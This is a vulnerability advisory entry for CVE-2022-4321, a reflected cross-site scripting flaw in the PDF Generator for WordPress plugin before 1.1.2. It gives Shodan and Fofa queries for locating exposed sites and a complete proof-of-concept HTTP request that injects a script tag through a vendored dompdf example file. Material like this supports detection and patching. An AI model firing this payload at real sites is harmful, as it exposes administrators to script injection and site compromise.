| Title | PDF Generator for WordPress < 1.1.2 - Cross Site Scripting |
|---|---|
| Author | r3Y3r53,HuTa0 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected WordPress website, potentially leading to unauthorized access, data theft, or further compromise of the website. |
| Remediation | Fixed in version 1.1.2 |
| CVSS Score | 6.1 |
| EPSS Score | 0.1032 |
| CVE ID | CVE-2022-4321 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/pdf-generator-for-wp |
| Fofa Query | body=/wp-content/plugins/pdf-generator-for-wp |
| Tags | cve cve2022 wpscan wordpress wp wp-plugin xss pdf-generator-for-wp wpswings vuln |
The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin
GET /wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13.2) AppleWebKit/619.14.1 (KHTML, like Gecko) Version/17.7.52 Safari/619.14.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4321.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-4321.pcap
N/AN/A